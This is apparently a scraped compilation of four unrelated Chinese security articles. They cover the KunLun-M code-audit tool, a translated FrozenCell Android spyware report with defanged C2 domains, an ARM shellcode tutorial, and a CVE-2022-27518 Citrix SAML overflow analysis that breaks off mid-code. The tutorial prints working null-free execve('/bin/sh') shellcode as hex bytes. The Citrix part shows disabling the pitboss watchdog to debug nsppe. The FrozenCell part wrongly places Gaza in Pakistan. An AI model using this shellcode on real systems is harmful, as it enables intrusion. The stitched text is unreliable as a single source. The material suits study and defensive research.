与大多数的安全研究人员一样，我从事的工作涉及到大量的代码审计工作，每次审计一个新的代码或者框架，我都需要花费大量的时间成本熟悉调试，在最初接触到自动化代码审计时，也正是希望能帮助我节省一些时间。
我接触到的第一个项目就是蘑菇街团队的Cobra
* <https://github.com/WhaleShark-Team/cobra>
这应该是最早开源的甲方自动化代码审计工具，除了一些基础的特征扫描，也引入了AST分析作为辅助手段确认漏洞。
在使用的过程中，我发现Cobra初版在AST上的限制实在太少了，甚至include都没支持（当时是2017年），于是我魔改出了Cobra-W，并删除了其中大量的开源漏洞扫描方案（例如扫描java的低版本包），以及我用不上的甲方需求等…并且深度重构了AST回溯部分（超过上千行代码），重构了底层的逻辑使之兼容windows。
在长期的使用过程中，我遇到了超多的问题与场景（我为了复现Bug写的漏洞样例就有十几个文件夹），比较简单的就比如前面漏洞样例里提到的新函数封装，最后新加了大递归逻辑去新建扫描任务才解决。还有遇到了Hook的全局输入、自实现的过滤函数、分支循环跳转流程等各类问题，其中我自己新建的Issue就接近40个…
* <https://github.com/LoRexxar/Kunlun-M/issues>
为了解决这些问题，我照着phply的底层逻辑，重构了相应的语法分析逻辑。添加了Tamper的概念用于解决自实现的过滤函数。引入了python3的异步逻辑优化了扫描流程等…
也正是在维护的过程中，我逐渐学习到现在主流的基于CFG的代码分析流程，也发现我应该基于AST自实现了一个CFG分析逻辑…直到后来Semmle
QL的出现，我重新认识到了数据流分析的概念，这些代码分析的概念在维护的过程中也在不断地影响着我。
在2020年9月，我正式将Cobra-W更名为KunLun-M，在这一版本中，我大量的剔除了正则+AST分析的逻辑，因为这个逻辑违背了流式分析的基础，然后新加了Sqlite作为数据库，添加了Console模式便于使用，同时也公开了我之前开发的有关javascript代码的部分规则。
* <https://github.com/LoRexxar/Kunlun-M>
KunLun-M可能并不是什么有技术优势的自动化代码审计工具，但却是唯一的仍在维护的开源代码审计工具，在多年研究的过程中，我深切的体会到有关白盒审计的信息壁垒，成熟的白盒审计厂商包括fortify，Checkmarx，Coverity，rips，源伞扫描器都是商业闭源的，国内的很多厂商白盒团队都还在起步，很多东西都是摸着石头过河，想学白盒审计的课程这些年我也只见过南京大学的《软件分析》，很多东西都只能看paper…也希望KunLun-M的开源和这篇文章也能给相应的从业者带来一些帮助。
同时，KunLun-M也作为星链计划的一员，秉承开放开源、长期维护的原则公开，希望KunLun-M能作为一颗星星链接每一个安全研究员。
星链计划地址:
* <https://github.com/knownsec/404StarLink-Project> | 社区文章 |
# 【技术分享】FrozenCell：针对巴勒斯坦的多平台监控行动
|
##### 译文声明
本文是翻译文章，文章来源：lookout.com
原文地址：<https://blog.lookout.com/frozencell-mobile-threat>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[Janus情报局](http://bobao.360.cn/member/contribute?uid=2954465307)
预估稿费：170RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**简介**
****
Lookout安全研究人员近期发现一款新型移动监控软件家族，FrozenCell。这一威胁很可能针对巴勒斯坦各政府机构、安全部门、巴勒斯坦学生以及与法塔赫政党有关的人员。
图1 FrozenCell经常伪装成知名的社交媒体和聊天应用，以及一款在2016年普通中学考试中巴勒斯坦或约旦学生使用的应用
今年3月，360追日团队发现了[双尾蝎/APT-C-23](http://zhuiri.360.cn/report/index.php/2017/03/09/twotailedscorpion/)APT攻击，这个威胁利用受控的移动设备和桌面来监控受害者。本文中提到的FrozenCell正是双尾蝎多平台攻击的移动组件。而该APT攻击的桌面组件，在此之前[已被Palo
Alto
Network发现](https://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/)，并命名为KasperAgent和Micropsia。在调查这一攻击的过程中，我们对来自24个受控Android设备的561MB泄露数据进行了分析。在分析的过程中，我们发现，每天都会有新的数据出现，这表明，该活动仍在活跃期，我们也会对该攻击持续关注。
这个威胁，也是攻击者把移动设备作为主要攻击载体加入到监视活动的另外一个证据。政府机构和企业应该把这一威胁看做间谍行为的例子，因为现在在移动设备在工作场所随处可见。攻击者敏锐地意识到他们可以从这些设备中获取信息，并使用多阶段(钓鱼+可执行文件)，多平台(安卓+桌面)攻击来完成他们的间谍活动。
**它都做了什么？**
****
FrozenCell经常伪装成Facebook、hatsApp、Messenger、LINE和LoveChat等聊天应用的更新，诱使用户下载。此外，我们还在针对特定中东人的应用程序中发现了它的踪迹。例如文章开始所提到的，FrozenCell背后的攻击者使用了一款名为Tawjihi
2016的恶搞应用，这款应用是约旦或巴勒斯坦学生在普通中学考试中使用的应用程序。
一旦安装在设备上，FrozenCell能够进行如下操作：
**·** 通话录音
**·** 获取通用电话元数据(例如，基站定位，移动国家码和移动网络码)
**·** 定位设备
**·** 提取短信
**·** 获取受害者账户信息
**·** 泄露设备中的图片
**·** 下载中并安装其他应用程序
**·** 搜索并泄露pdf,doc,docx,ppt,pptx,xls及xlsx等类型文件
**·** 获取通讯录
下图显示了从一个配置错误的C&C服务器（超过37台服务器）上获取的数据类型。 当然，这些只是此威胁获取的数据的一小部分。
图2 泄露数据类型
从这些受控设备中提取的内容有一些值得注意的文件，包括护照照片，通话录音，其他图片，以及存有484份个人数据的PDF文件。PDF中列出了这些人的出生日期、性别、护照号码和姓名。
**潜在目标**
FrozenCell背后的攻击者使用了一个在线服务，利用附近的基站定位移动设备，追踪目标。数据表明受感染设备的明显集中于加沙到巴勒斯坦的区域。
图3
FrozenCell的早期样本使用在线服务来存储受感染设备的地理位置信息。经过遥感技术分析，可以看到，受感染的设备主要位于巴基斯坦的加沙地带。目前还没有办法确定这些是测试设备还是受害者的设备。
我们也可以将FrozenCell的Android基础网络对象与许多桌面样本进行关联，这些样本是更大的多平台攻击的一部分。从种种迹象看来，攻击者通过仿冒巴基斯坦安全局，内政部民防总局，巴勒斯坦民族解放阵线第七次法庭会议(2016年举办)相关进行网络钓鱼活动，传播恶意可执行文件。而这些文件的标题和内容又表明，这些活动的目标群体是与政府机构和法塔赫政党相关的工作人员。
一些与这些恶意样本有关的恶意文件标题：
**·** Council_of_ministres_decision
**·** Minutes of the Geneva Meeting on Troops (محضر اجتماع جنيف الخاص بقوات
ا_من)
**·** Summary of today's meetings.doc.exe (ملخص إجتماعات اليوم)
**·** The most important points of meeting the memory of the late President
Abu Omar may Allah have mercy on him – Paper No. 1 (أهم نقاط إجتماع ذكرى
الرئيس الراحل أبوعمار رحمه الله – ورقة رقم)
**·** Fadi Alsalamin scandal with an Israeli officer – exclusive – watched
before the deletion – Fadi Elsalameen (فضيحة فادي السلامين مع ضابط إسرائيلي-حصري-شاهد وقبل الحذف-Fadi Elsalameen)
**·** The details of the assassination of President Arafat_06-12-2016_docx
**·** Quds.rar
部分PDF内容截图：
图4 PDF内容截图
图5 PDF内容截图
图6 PDF内容截图
这些可执行文件大多与使用Bit.ly创建的各种短域名相关联。在分析与这些短域名相关的流量后，我们确定每个短域名都与mail.mosa.pna.ps中引用的路径相关。MOSA是巴勒斯坦社会发展理事会，根据该部门的公开资料显示，其任务是实现巴勒斯坦家庭的全面发展、社会保障和经济增长。
**基础网络对象**
在撰写本文时，以下域名已由该家族使用或处于活跃期。截止目前，该攻击团伙已多次改变其基础网络对象，我们预计以下列表还会扩增。
**·** cecilia-gilbert[.]com
**·** gooogel[.]org
**·** mary-crawley[.]com
**·** mydriveweb[.]com
**·** rose-sturat[.]info
**·** kalisi[.]xyz
**·** debra-morgan[.]com
**·** arnani[.]info
**·** acount-manager[.]info
**·** gooogel-drive[.]com
**·** mediauploader[.]me
**·** acount-manager[.]net
**·** upload404[.]club
**·** upload999[.]info
**·** al-amalhumandevelopment[.]com
**·** margaery[.]co
**·** upload202[.]com
**·** go-mail-accounts[.]com
**·** upload101[.]net
**·** sybil-parks[.]info
**·** davos-seaworth[.]info
**·** upload999[.]org
**·** acount-manager[.]com
**·** lila-tournai[.]com
**·** account-manager[.]org
**·** mediauploader[.]info
**·** kalisi[.]org
**·** aryastark[.]info
**·** mavis-dracula[.]com
**·** kalisi[.]info
**·** google-support-team[.]com
**·** 9oo91e[.]com
**·** useraccount[.]website
**·** accounts-fb[.]com
**·** akashipro[.]com
**·** feteh-asefa[.]com
**·** lagertha-lothbrok[.]info
**OpSec失误以及加密**
在查看这些基础网络对象时，我们发现其中一个域名启动了目录索引。这个小的操作安全性的失误，使我们能够看到很多设备中泄露的内容。而镜像表明，它可能是一个定期清理的临时服务器。我们从这个域名获取了超过561M的泄露数据，经过查看，发现这些数据都经过7z压缩并进行了加密。
压缩文件的密码在客户端生成，大多数情况下每个设备的密钥都是唯一的。密钥的关键信息由设备Android
ID的MD5，设备制造商和设备模型的MD5组成，并由下划线进行分隔。表示方式如下图所示：
图7 密钥关键信息格式
结合我们在C2基础网络对象索引目录的分析，我们可以轻松反推出每个设备密码的产生过程，进而可以将被感染设备中泄露的内容解压。
图8 索引目录
尽管泄露的内容已被加密，但是用于生成每个设备密码的信息在顶层目录是可见的。从目录列表获取此信息，可对所有内容进行解密操作。
FrozenCell是一个非常成功的多平台监控活动的一部分。攻击者对于如何利用多平台进行监控非常得心应手，擅长利用设备和一些服务进行定位。政府机构和企业应该从各个角度——云服务、移动设备、笔记本电脑，来建立全面的安全防护策略。
**IoCs(移动端)**
**IoCs(PC端)** | 社区文章 |
本文是[《Writing ARM Shellcode》](https://azeria-labs.com/writing-arm-shellcode/)的翻译文章。
# 用ARM编写SHELLCODE简介
学习本教程的先决条件是对ARM程序集有基本了解（在第一个教程系列“[ARM程序集基础知识](https://azeria-labs.com/writing-arm-assembly-part-1/)”中有介绍）。在本部分中，您将学习如何运用所学的知识在ARM组件中创建一个简单的shellcode。
本教程中使用的示例是在ARMv6 32位处理器上编译的。 如果您无法访问ARM设备，可以按照本教程创建自己的环境并在VM中模拟Raspberry
Pi发行版：[使用QEMU模拟Raspberry Pi](https://azeria-labs.com/emulate-raspberry-pi-with-qemu/)。
本教程适用于那些考虑运行自动shellcode生成器以及想要学习如何在ARM程序集中编写shellcode的人。 毕竟了解它如何在底层下工作,
并完全控制结果比简单地运行工具更有趣，不是吗？在需要绕过shellcode检测算法或在自动化工具可能不能处理的其他限制的情况下，在汇编中编写自己的shellcode是非常有用的。
好消息是，熟悉这个过程后，这项技能可以很容易地学到。
在本教程中，我们将使用以下工具（默认情况下，大多数工具都安装在Linux发行版上）：
* [GDB](https://www.gnu.org/software/gdb/) \- 我们选择的调试器
* [GEF](https://github.com/hugsy/gef) \- GDB增强功能，强烈推荐（由[@ _hugsy_](https://twitter.com/_hugsy_)开发）
* [GCC](https://gcc.gnu.org/) \- Gnu编译器集合
* [as](https://sourceware.org/binutils/docs/as/) \- 汇编程序
* [ld](https://sourceware.org/binutils/docs/ld/) \- 链接器
* [strace](https://strace.io/) \- 跟踪系统调用的实用程序
* [objdump](https://sourceware.org/binutils/docs/binutils/objdump.html) \- 用于检查反汇编中的空字节
* [objcopy](https://sourceware.org/binutils/docs/binutils/objcopy.html) \- 从ELF二进制文件中提取原始shellcode
请确保能在ARM环境中编译并运行本教程中的所有示例。
在开始编写shellcode之前，您需要了解一些基本原则，例如：
1. 让您的shellcode保持紧凑，不要有空字节
2. 原因：我们正在编写shellcode，并使用它来利用缓冲区溢出等内存损坏漏洞。例如在一些`strcpy`函数造成的缓冲区溢出漏洞中, strcpy()的工作是复制数据，在收到空字节后停止复制。 当我们使用这个溢出来控制程序流时，如果strcpy命中空字节，它将停止复制shellcode，我们的利用就会不起作用。
3. 避免库函数调用和绝对内存地址
4. 原因：为了使我们的shellcode尽可能通用，我们不能依赖需要特定依赖关系的库调用和依赖于特定环境的绝对内存地址。
编写shellcode的过程包括以下步骤：
1、了解您要使用的系统调用
2、找出系统调用号码和您选择的系统调用函数所需的参数
3、使shellcode有效化
4、将shellcode转换为Hex字符串
# 理解系统调用
在深入研究第一个shellcode之前，让我们来编写一个能输出字符串的简单ARM汇编程序。
第一步是查找我们想要使用的系统调用，这个时候应该使用“write”。
可以在[Linux手册页](http://www.manpages.info/linux/write.2.html)中找到此系统调用的原型：
ssize_t write(int fd, const void *buf, size_t count);
从像C这样的高级编程语言的角度来看，这个系统调用示例如下：
const char string[13] = "Azeria Labs\n";
write(1, string, sizeof(string)); // Here sizeof(string) is 13
从这个原型中可以看到我们需要以下参数：
* fd - STDOUT的1
* buf - 指向字符串的指针
* count - 要写入的字节数 - > 13
* 要写入的系统调用数 - > 0x4
对于前3个参数，可以使用R0，R1和R2。 对于系统调用，我们需要使用R7并将0x4移入其中。
mov r0, #1 @ fd 1 = STDOUT
ldr r1, string @ loading the string from memory to R1
mov r2, #13 @ write 13 bytes to STDOUT
mov r7, #4 @ Syscall 0x4 = write()
svc #0
通过使用以上的代码片段，ARM组装程序如下所示：
.data
string: .asciz "Azeria Labs\n" @ .asciz adds a null-byte to the end of the string
after_string:
.set size_of_string, after_string - string
.text
.global _start
_start:
mov r0, #1 @ STDOUT
ldr r1, addr_of_string @ memory address of string
mov r2, #size_of_string @ size of string
mov r7, #4 @ write syscall
swi #0 @ invoke syscall
_exit:
mov r7, #1 @ exit syscall
swi 0 @ invoke syscall
addr_of_string: .word string
在数据部分，我们通过从字符串后面的地址减去字符串开头的地址来计算字符串的大小。
当然，如果我们可以手动计算字符串大小并将结果直接放入R2中，则无需这样做。另外，使用系统调用号为1的exit()来退出程序。
编译并执行：
azeria@labs:~$ as write.s -o write.o && ld write.o -o write
azeria@labs:~$ ./write
Azeria Labs
酷。 现在我们已经了解了这个过程，接下来让我们更详细地研究它，并在ARM程序集中编写一个简单的shellcode。
# 1.跟踪系统调用
对于我们的第一个例子，我们将采用以下简单函数并将其转换为ARM程序集：
#include <stdio.h>
void main(void)
{
system("/bin/sh");
}
第一步是确定此函数需要的系统调用以及系统调用所需的参数。 可以使用'strace'对OS内核的系统调用进行跟踪。
将上面的代码保存在文件中，然后在运行strace命令之前编译它。
azeria@labs:~$ gcc system.c -o system
azeria@labs:~$ strace -h
-f -- follow forks, -ff -- with output into separate files
-v -- verbose mode: print unabbreviated argv, stat, termio[s], etc. args
--- snip -- azeria@labs:~$ strace -f -v system
--- snip -- [pid 4575] execve("/bin/sh", ["/bin/sh"], ["MAIL=/var/mail/pi", "SSH_CLIENT=192.168.200.1 42616 2"..., "USER=pi", "SHLVL=1", "OLDPWD=/home/azeria", "HOME=/home/azeria", "XDG_SESSION_COOKIE=34069147acf8a"..., "SSH_TTY=/dev/pts/1", "LOGNAME=pi", "_=/usr/bin/strace", "TERM=xterm", "PATH=/usr/local/sbin:/usr/local/"..., "LANG=en_US.UTF-8", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "SHELL=/bin/bash", "EGG=AAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "LC_ALL=en_US.UTF-8", "PWD=/home/azeria/", "SSH_CONNECTION=192.168.200.1 426"...]) = 0
--- snip -- [pid 4575] write(2, "$ ", 2$ ) = 2
[pid 4575] read(0, exit
--- snip -- exit_group(0) = ?
+++ exited with 0 +++
结果证明，系统函数execve()正在被调用
# 2.系统调用编号和参数
下一步是找出execve()的系统调用编号和所需的参数。
您可以通过[w3calls](https://w3challs.com/syscalls/?arch=arm_strong)或[Linux手册页](http://www.manpages.info/linux/execve.2.html)查找系统调用的概述。
这是我们从execve()的手册页中得到的：
NAME
execve - execute program
SYNOPSIS
#include <unistd.h>
int execve(const char *filename, char *const argv [], char *const envp[]);
execve()要求的参数是：
* 指向指定二进制路径的字符串的指针
* argv [] - 命令行变量数组
* envp [] - 环境变量数组
这些基本上可以转换为：execve( _filename，_ argv []， _envp []) - > execve(_filename，0, 0)。
使用以下命令查找此函数的系统调用编号：
azeria@labs:~$ grep execve /usr/include/arm-linux-gnueabihf/asm/unistd.h
#define __NR_execve (__NR_SYSCALL_BASE+ 11)
查看输出，可以看到execve()的系统调用编号是11。寄存器R0到R2可用于函数参数，而寄存器R7可以存储系统调用编号。
在x86上调用系统调用的工作方式如下：首先，将参数入栈。 然后，系统调用编号被移入EAX寄存器( MOV EAX，syscall_number)。
最后，使用SYSENTER/INT 80调用系统调用。
在ARM上，系统调用的工作方式略有不同：
1.将参数移动到寄存器 - R0，R1，..
2.将系统调用编号移动到寄存器R7中
* mov r7，＃<syscall_number></syscall_number>
3.产生一个系统调用
* SVC＃0或
* SVC＃1
4.返回值存入R0
这是它在ARM Assembly中的样子（[代码已上传到azeria-labs的Github上](https://github.com/azeria-labs/ARM-assembly-examples/blob/master/execve1.s)）：
正如您在上图中所看到的，我们首先使用PC相对寻址将R0指向我们的“/bin/sh”字符串（如果您不记得为什么有效的PC在当前指令之前启动两条指令，请转到汇编基础知识教程的“[第2部分:数据类型和寄存器](https://azeria-labs.com/arm-data-types-and-registers-part-2/)”，并查看解释PC寄存器以及示例的部分）。
然后我们将0移动到R1和R2并将系统调用编号11移动到R7。 看起来很简单吧？ 让我们看一下使用objdump的第一次尝试的反汇编：
azeria@labs:~$ as execve1.s -o execve1.o
azeria@labs:~$ objdump -d execve1.o
execve1.o: file format elf32-littlearm
Disassembly of section .text:
00000000 <_start>:
0: e28f000c add r0, pc, #12
4: e3a01000 mov r1, #0
8: e3a02000 mov r2, #0
c: e3a0700b mov r7, #11
10: ef000000 svc 0x00000000
14: 6e69622f .word 0x6e69622f
18: 0068732f .word 0x0068732f
事实证明我们的shellcode中有很多空字节。 下一步是使shellcode有效化，并替换所有涉及的操作。
# 3.使shellcode有效化
Thumb模式是减小空字节出现在我们的shellcode中的几率的可用技术之一。这是因为Thumb指令长度为2个字节而不是4个。如果您完成了ARM
Assembly Basics教程，就会知道如何从ARM切换到Thumb模式。 如果还没有，我建议您阅读“[条件执行和分支](https://azeria-labs.com/arm-conditional-execution-and-branching-part-6/)”教程的第6部分中有关分支指令“B /
BX / BLX”的章节。
在我们的第二次尝试中，我们使用Thumb模式并将包含#0的操作替换为导致0的操作，具体方法是相互减去寄存器或进行异或操作。 例如，不使用“mov
r1，#0”，而是使用“sub r1, r1, r1”（r1 = r1-r1）或“eor r1，r1，r1”（r1 = r1 xor r1）。
请记住，由于我们现在使用Thumb模式（2字节指令），我们的代码必须是4字节对齐，并且我们需要在末尾添加NOP（例如mov r5，r5）。
（[代码已上传到azeria-labs的Github上](https://github.com/azeria-labs/ARM-assembly-examples/blob/master/execve2.s)）：
反汇编的代码如下所示：
结果是我们只需要摆脱一个空字节。 我们的代码中导致空字节的部分是以空字符结尾的字符串“/bin/sh\ 0”。 我们可以使用以下技术解决此问题：
* 将“/bin/sh\0”替换为“/bin/shX”
* 将指令strb（存储字节）与现有的零填充寄存器结合使用，将X替换为空字节
（[代码已上传到azeria-labs的Github上](https://github.com/azeria-labs/ARM-assembly-examples/blob/master/execve3.s)）：
瞧 - 没有空字节！
# 4.将SHELLCODE转换为HEX STRING
现在我们创建的shellcode可以转换为它的十六进制表示。 在此之前，最好检查shellcode是否能独立工作。
但是有一个问题：如果我们像通常那样编译汇编文件，它将无法工作。 因为我们用了strb操作来修改代码段（.text）。
这要求代码段是可写的，可以通过在链接过程中添加-N标志来实现。
azeria@labs:~$ ld --help
--- snip -- -N, --omagic Do not page align data, do not make text readonly.
--- snip --
azeria@labs:~$ as execve3.s -o execve3.o && ld -N execve3.o -o execve3
azeria@labs:~$ ./execve3
$ whoami
azeria
有用！ 恭喜，您已经在ARM程序集中编写了第一个shellcode。
要将其转换为十六进制，请使用以下指令：
azeria@labs:~$ objcopy -O binary execve3 execve3.bin
azeria@labs:~$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' execve3.bin
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78
也可以使用简单的python脚本执行相同操作，而不是使用上面的hexdump指令：
#!/usr/bin/env python
import sys
binary = open(sys.argv[1],'rb')
for byte in binary.read():
sys.stdout.write("\\x"+byte.encode("hex"))
print ""
azeria@labs:~$ ./shellcode.py execve3.bin
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78
希望您喜欢这篇文章。 在下一部分中，您将学习如何以反向shell的形式编写shellcode，这比上面的示例稍微复杂一些。
之后，我们将深入研究内存损坏并了解它们是如何发生的，以及如何使用我们自制的shellcode来利用它们。
（译者注：如果想了解用x86汇编写shellcode，可以看这篇[Linux下shellcode的编写](https://xz.aliyun.com/t/2052)） | 社区文章 |
**作者：hanwang@知道创宇404实验室
日期：2023年2月17日**
### 漏洞介绍
Citrix在2022年12月份发布了CVSS评分9.8的CVE-2022-27518远程代码执行漏洞通告，距今已经过去两个多月了，由于漏洞环境搭建较为复杂，一直没有相关的分析文章。经过一段时间的diff分析及验证后，发现漏洞成因在于Citrix
netscaler在解析SAML xml时对`SignatureValue`字段校验不严格导致了栈溢出。
漏洞影响版本：
* Citrix ADC and Citrix Gateway 13.0 before 13.0-58.32
* Citrix ADC and Citrix Gateway 12.1 before 12.1-65.25
* Citrix ADC 12.1-FIPS before 12.1-55.291
* Citrix ADC 12.1-NDcPP before 12.1-55.291
CVE-ID | Description | CWE | Affected Products | Pre-conditions
---|---|---|---|---
CVE-2022-27518 | Unauthenticated remote arbitrary code execution | CWE-664:
Improper Control of a Resource Through its Lifetime | Citrix Gateway, Citrix
ADC | Citrix ADC or Citrix Gateway must be configured as a SAML SP or a SAML
IdP
根据披露信息，只有当ADC或者Gateway配置为SAML SP（资源提供方服务器）或者SAML IdP（身份认证服务器）时，才会受到漏洞影响。
不熟悉SAML协议流程的可以参考[1][2]，本文不再详细阐述，基本的认证流程如下：
### 漏洞环境搭建
漏洞环境搭建非常复杂（甚至比漏洞分析分析耗时久:( ），在查阅大量资料后，我使用Citrix Gateway作为SAML SP，使用Microsoft
Azure作为SAML IDP（可能 **需要高级账号** ）构建了SAML单点登录环境。如果使用虚拟机搭建Citrix
SAML服务，需要三台虚拟机，同时比较麻烦的一点是，Citrix的SAML服务只有铂金版、企业版才能提供，因此 **需要相应的高级版本激活码**
，可以去闲鱼上找一找，好在404师傅们直接把激活流程给hack了(Orz。
具体搭建过程可以参考后面的文章。
#### 配置详情
配置后的网络拓补图如下[3]，三台虚拟机在同一内网环境中，分别对应NSIP、MIP(SNIP)、VIP。其中NSIP是Citrix
ADC/Gateway设备的自身IP，用于管理、对NetScaler自身进行常规访问以及在高可用性配置中实现设备间通信的IP地址；MIP是映射IP，是设备向后端真实服务器发送请求包中的源地址。VIP是虚拟服务器IP，客户对可以对其直接进行访问，真正响应的请求是其后端的众多真实服务器。管理多种流量的一个设备可配置有多个VIP。
还需要一台域控服务器用来给Citrix服务器发放证书。（理论上来说自签名证书也可以，我直接构建了一个DNS通配符证书，可以参考[Create a
Wildcard Certificate using MMC in Windows Server 2019 -YouTube](https://www.youtube.com/watch?v=DpgtXOTW3_g)）
在我的环境中配置清单如下：
| IP地址 | 域名 | 用途
---|---|---|---
Citrix Gateway13.0-52.24 | 10.0.25.171 | | NSIP
Citrix Gateway13.0-52.24 | 10.0.25.172 | | MIP
Citrix Gateway13.0-52.24 | 10.0.25.173 | gateway.nstest.local | VIP
Windows Server 2019 | 10.0.25.174 | ad.nstest.local | 域控服务器，用于给Citrix服务器发放证书
Windows 11 | 10.x.x.x | | 本机Client机器，能够访问Citrix VIP即可
由于SAML服务需要使用域名进行访问，还需要在本机hosts文件中新加入一个DNS解析条目
#### 访问方式
当我们访问`https://gateway.nstest.local`时，浏览器会自动跳转到Microsoft的认证界面
输入用户名密码后，会重定向到Gateway的管理界面，到这里就算搭建成功了。
#### 测试方式
推荐使用BurpSuite的[SAMLRaider: SAML2 Burp
Extension](https://github.com/CompassSecurity/SAMLRaider)插件进行渗透测试[4]，可以很方便地编码解码并修改认证请求包和认证响应包，我们可以设置参数过滤只用来捕获SAML认证过程中的SAMLResponse包，这是IDP认证后通过浏览器发给登录服务的认证响应包，包含了关键的身份认证信息。
如下所示，这个插件可以很方便地修改SAML断言信息，还可以进行常用的SAML攻击。（在Citrix环境下，我测试了所有的这些攻击，都能够被Citrix过滤）
### 定位漏洞程序
在漏洞通告刚发布时，Citrix官网删除了受漏洞影响版本的上一版本的下载链接，给漏洞diff分析造成了一定困难，而近期Citrix官网放出了距受漏洞影响版本的较近版本12.1-64.17，故重新从diff层面对其分析。
下载Citrix-Gateway-KVM-12.1-64.17（受影响）和Citrix-Gateway-KVM-12.1-65.25（修复版本）
对应的虚拟机镜像，运行后尝试通过挂载提取文件，由于文件系统不同，此种方法较为复杂。所幸Gateway支持ssh连接，可以通过ssh提取出相关文件。
根据NSA披露的缓解措施[5]判断很可能是netscaler组件的nsppe文件出问题，如下图所示。同时 根据信息可以推断很可能是缓冲区溢出类型的漏洞。
### 漏洞分析
#### 绕过看门狗进程pitboss
Citrix
Gateway虚拟机中自带gdb工具，虽然版本有点低而且缺少很多命令，但也将就能用。当我尝试用gdb对`nsppe`进程进行attach时，发现一旦attach该进程，该进程就会自动重启，看来是有反调试。
通过查看`dmesg`系统日志得知，有一个`pitboss`进程会接收`nsppe`进程的心跳包，如果心跳包丢失超过一定阈值，`pitboss`进程会向`nsppe`进程发信号终止掉进程然后重启该进程，当gdb对`nsppe`进程attach时导致`nsppe`进程被挂起，`pitboss`进程接收不到心跳包了也就重启`nsppe`进程，这就导致无法正常调试`nsppe`进程。
推测系统应该有自带的工具可以更改这些策略。找了一下果然发现`netscaler`目录下的`pb_policy`程序可以设置这些策略，忽略进程挂起的命令如下所示：
root@ns# /netscaler/pb_policy -h nothing
Current pitboss policy is 0x29b4 (10676):
PB_ABRT_CULPRIT | PB_RESTART_CULPRIT | PB_RESTART_SYSTEM | PB_KILL_USER_PROCS | PB_WAIT_CORES | PB_REBOOT_ON_SLOW_WARMSTART | PB_REBOOT_ON_INCOMPLETE_REG
Hung processes will be sent a SIGABRT (PB_ABRT_CULPRIT).
Monitored processes which exit will be restarted up to 5 times, except for
packet engines (PB_RESTART_CULPRIT).
If pitboss decides not to restart some failing process(es) all non-failing
processes will be sent a SIGKILL (PB_KILL_USER_PROCS).
Pitboss will then wait for all core dumps to complete (PB_WAIT_CORES) and then
do a warm restart (if a packet engine failed) and otherwise reboot the system (PB_RESTART_SYSTEM).
If startup failure is detected do nothing.
If warmstart takes too long pitboss will reboot the system (PB_REBOOT_ON_SLOW_WARMSTART).
On incomplete registration of mandatory processes after warmstart pitboss will
reboot the system (PB_REBOOT_ON_INCOMPLETE_REG).
Log messages from pitboss will take the default path.
New pitboss policy is 0x29b0 (10672):
PB_RESTART_CULPRIT | PB_RESTART_SYSTEM | PB_KILL_USER_PROCS | PB_WAIT_CORES | PB_REBOOT_ON_SLOW_WARMSTART | PB_REBOOT_ON_INCOMPLETE_REG
Hung processes will be ignored.
Monitored processes which exit will be restarted up to 5 times, except for
packet engines (PB_RESTART_CULPRIT).
If pitboss decides not to restart some failing process(es) all non-failing
processes will be sent a SIGKILL (PB_KILL_USER_PROCS).
Pitboss will then wait for all core dumps to complete (PB_WAIT_CORES) and then
do a warm restart (if a packet engine failed) and otherwise reboot the system (PB_RESTART_SYSTEM).
If startup failure is detected do nothing.
If warmstart takes too long pitboss will reboot the system (PB_REBOOT_ON_SLOW_WARMSTART).
On incomplete registration of mandatory processes after warmstart pitboss will
reboot the system (PB_REBOOT_ON_INCOMPLETE_REG).
Log messages from pitboss will take the default path.
执行命令后就可以愉快的调试`nsppe`进程了，对freebsd的内核交互机制不太熟悉，因此就没再详细分析这种看门狗机制，后面有时间可以研究下怎么实现的。
#### diff分析
将Gateway-12.1-64.17和Gateway-12.1-65.25不同版本的nsppe程序导入 IDA 分析，使用 bindiff
插件进行比较，程序较大需要分析较长时间。diff完成后按照相似度排序，可见新版本修改了一些saml相关的函数，此版本还一并修复了更早的一个身份认证绕过漏洞[CVE-2022-27510](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27510)。
逐个分析代码差异，重点关注边界条件修改的函数。一通分析后，发现`ns_aaa_saml_entity_encode_decode`函数比较可疑，这个函数在新版本被改名为`ns_aaa_entity_encode_decode`，两者控制流图差异如下，很明显的发现新版本多了一条条件判断路径。
具体来说，老版本12.1-64.17该函数简化后的反汇编代码：
__int64 __fastcall ns_aaa_saml_entity_encode_decode(__int64 a1, __int64 a2, int a3, __int64 a4)
{
__int64 v5; // rax
__int64 v6; // rbx
__int64 v7; // rbx
int v8; // r9d
int v9; // r9d
unsigned __int16 v10; // ax
unsigned int v11; // eax
unsigned int v12; // r12d
__int64 v14; // [rsp+18h] [rbp-58h] BYREF
__int64 v15[2]; // [rsp+20h] [rbp-50h] BYREF
int v16; // [rsp+30h] [rbp-40h]
int v17; // [rsp+34h] [rbp-3Ch]
int v18; // [rsp+38h] [rbp-38h]
int v19; // [rsp+3Ch] [rbp-34h]
int v20; // [rsp+40h] [rbp-30h]
v15[0] = 0LL;
v15[1] = a1;
v16 = a3;
v17 = a3;
v18 = 4;
v19 = 22;
LOBYTE(v20) = v20 & 0xE0;
v20 = (32 * ASTR_NOT_REF_COUNTED) | v20 & 0x1F;
v5 = astr_canonicalize(*(_QWORD *)(*((_QWORD *)cur_as_partition + 2) + 8LL), 5LL, v15, a4, 0LL, 0LL);
v6 = v5;
if ( v5 )
{
ns_bcopy_(*(_QWORD *)(v5 + 8), a2, *(unsigned int *)(v5 + 16));
v12 = *(_DWORD *)(v6 + 16);
astr_destroy(*(_QWORD *)(*((_QWORD *)cur_as_partition + 2) + 8LL), 5LL, v6);
}
else
{
......// 日志记录
return 0;
}
return v12;
}
新版本12.1-65.25反汇编代码：
__int64 __fastcall ns_aaa_entity_encode_decode(__int64 a1, __int64 a2, int a3, unsigned int a4, unsigned int a5)
{
__int64 v7; // rax
